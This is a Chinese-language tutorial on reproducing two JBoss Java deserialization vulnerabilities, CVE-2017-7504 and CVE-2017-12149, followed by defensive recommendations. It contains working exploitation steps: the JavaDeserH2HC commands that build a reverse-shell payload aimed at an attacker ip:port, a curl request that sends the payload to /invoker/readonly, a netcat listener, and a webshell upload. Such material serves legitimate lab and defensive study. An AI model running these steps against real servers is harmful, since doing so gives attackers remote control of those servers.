JBoss漏洞复现整理
字数 1738 2025-08-15 21:32:54

JBoss漏洞复现与利用技术文档

1. JBoss环境搭建

1.1 JDK安装与配置

  • 安装JDK(默认安装即可)
  • 配置JRE环境变量:
    • 编辑"用户环境变量"中的Path变量
    • 新增JRE的bin目录路径(例如:C:\Program Files\Java\jre1.8.0_66\bin

1.2 JBoss安装与配置

  1. 下载JBoss安装包并解压缩
  2. 配置环境变量:
    • JAVA_HOME
      • 变量名:JAVA_HOME
      • 变量值:C:\Program Files\Java\jdk1.8.0_66
    • JBOSS_HOME
      • 变量名:JBOSS_HOME
      • 变量值:C:\jboss-4.2.1.GA
    • CLASSPATH
      • 变量名:CLASSPATH
      • 变量值:C:\jboss-4.2.1.GA\bin\run.jar

1.3 JBoss服务启动与访问

  • 启动JBoss服务:运行启动脚本
  • 默认情况下,JBoss只接受本地访问(127.0.0.1:8080)
  • 远程访问配置:
    • 使用命令带参数运行:run.bat -b 0.0.0.0
    • 这样配置后可以通过外网访问

2. JBoss漏洞利用条件

  1. 检查以下接口是否对外开放:

    • JBossJMXInvokerServlet接口(默认8080端口)
    • JBoss Web Console (/web-console/)
  2. 确认系统在传输对象内容时是否使用序列化技术:

    • 二进制流
    • Base64编码
  3. 当传输数据被截获并替换为"包含命令执行的序列化内容"时,可能触发远程命令执行

注意:jboss-4.2.2.GA版本全部存在漏洞

3. CVE-2017-7504漏洞复现

3.1 漏洞描述

JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。

3.2 漏洞利用步骤

  1. 使用JBoss反序列化漏洞检测工具
  2. 信息获取:
    • 获取系统信息
    • 获取当前管理员权限
    • 获取当前用户目录位置
  3. 上传Webshell:
    • 默认上传文件存放位置可能在$_jboss/bin目录下
    • 使用"列目录"功能收集JBoss Web的真实根目录位置
    • 典型默认路径:$_jboss/server/default/deploy/jboss-webdeployer/ROOT.war/
  4. 使用蚁剑等工具连接获取的Webshell

4. CVE-2017-12149漏洞复现

4.1 漏洞描述

JBoss的HttpInvoker组件中的ReadOnlyAccessFilter过滤器,其doFilter方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化,导致任意代码执行。

影响版本

  • JBoss AS 5.x
  • JBoss AS 6.x

4.2 漏洞利用步骤

  1. 检测漏洞:

    • 访问链接:http://[目标IP]:8080/invoker/readonly
    • 如果返回500错误,通常表示漏洞存在
  2. 使用JavaDeserH2HC工具进行漏洞利用:

    • 生成二进制文件:
      javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
      
    • 添加反弹shell的IP和端口:
      java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap ip:port
      
    • 执行后会在当前目录生成ReverseShellCommonsCollectionsHashMap.ser文件
  3. 发送恶意序列化数据:

    curl http://[目标IP]:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
    
  4. 监听反弹shell:

    nc -vlp 4444
    

5. 防御建议

  1. 升级到最新版本的JBoss应用服务器
  2. 限制对JBoss管理控制台的访问
  3. 删除或保护以下接口:
    • JMXInvokerServlet
    • HttpInvoker
  4. 在网络层面限制对JBoss管理端口的访问
  5. 定期进行安全审计和漏洞扫描

6. 工具列表

  1. JBoss反序列化漏洞检测工具
  2. JavaDeserH2HC工具
  3. 蚁剑(AntSword) - WebShell管理工具
  4. Netcat(nc) - 网络工具,用于监听反弹shell

7. 注意事项

  1. 漏洞复现应在授权环境下进行
  2. 未经授权对系统进行测试可能违反法律
  3. 漏洞利用可能对目标系统造成不可逆的影响
  4. 建议在隔离的测试环境中进行复现实验
JBoss漏洞复现与利用技术文档 1. JBoss环境搭建 1.1 JDK安装与配置 安装JDK(默认安装即可) 配置JRE环境变量: 编辑"用户环境变量"中的Path变量 新增JRE的bin目录路径(例如: C:\Program Files\Java\jre1.8.0_66\bin ) 1.2 JBoss安装与配置 下载JBoss安装包并解压缩 配置环境变量: JAVA_ HOME : 变量名: JAVA_HOME 变量值: C:\Program Files\Java\jdk1.8.0_66 JBOSS_ HOME : 变量名: JBOSS_HOME 变量值: C:\jboss-4.2.1.GA CLASSPATH : 变量名: CLASSPATH 变量值: C:\jboss-4.2.1.GA\bin\run.jar 1.3 JBoss服务启动与访问 启动JBoss服务:运行启动脚本 默认情况下,JBoss只接受本地访问(127.0.0.1:8080) 远程访问配置: 使用命令带参数运行: run.bat -b 0.0.0.0 这样配置后可以通过外网访问 2. JBoss漏洞利用条件 检查以下接口是否对外开放: JBossJMXInvokerServlet接口(默认8080端口) JBoss Web Console (/web-console/) 确认系统在传输对象内容时是否使用序列化技术: 二进制流 Base64编码 当传输数据被截获并替换为"包含命令执行的序列化内容"时,可能触发远程命令执行 注意 :jboss-4.2.2.GA版本全部存在漏洞 3. CVE-2017-7504漏洞复现 3.1 漏洞描述 JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。 3.2 漏洞利用步骤 使用JBoss反序列化漏洞检测工具 信息获取: 获取系统信息 获取当前管理员权限 获取当前用户目录位置 上传Webshell: 默认上传文件存放位置可能在 $_jboss/bin 目录下 使用"列目录"功能收集JBoss Web的真实根目录位置 典型默认路径: $_jboss/server/default/deploy/jboss-webdeployer/ROOT.war/ 使用蚁剑等工具连接获取的Webshell 4. CVE-2017-12149漏洞复现 4.1 漏洞描述 JBoss的HttpInvoker组件中的ReadOnlyAccessFilter过滤器,其doFilter方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化,导致任意代码执行。 影响版本 : JBoss AS 5.x JBoss AS 6.x 4.2 漏洞利用步骤 检测漏洞: 访问链接: http://[目标IP]:8080/invoker/readonly 如果返回500错误,通常表示漏洞存在 使用JavaDeserH2HC工具进行漏洞利用: 生成二进制文件: 添加反弹shell的IP和端口: 执行后会在当前目录生成 ReverseShellCommonsCollectionsHashMap.ser 文件 发送恶意序列化数据: 监听反弹shell: 5. 防御建议 升级到最新版本的JBoss应用服务器 限制对JBoss管理控制台的访问 删除或保护以下接口: JMXInvokerServlet HttpInvoker 在网络层面限制对JBoss管理端口的访问 定期进行安全审计和漏洞扫描 6. 工具列表 JBoss反序列化漏洞检测工具 JavaDeserH2HC工具 蚁剑(AntSword) - WebShell管理工具 Netcat(nc) - 网络工具,用于监听反弹shell 7. 注意事项 漏洞复现应在授权环境下进行 未经授权对系统进行测试可能违反法律 漏洞利用可能对目标系统造成不可逆的影响 建议在隔离的测试环境中进行复现实验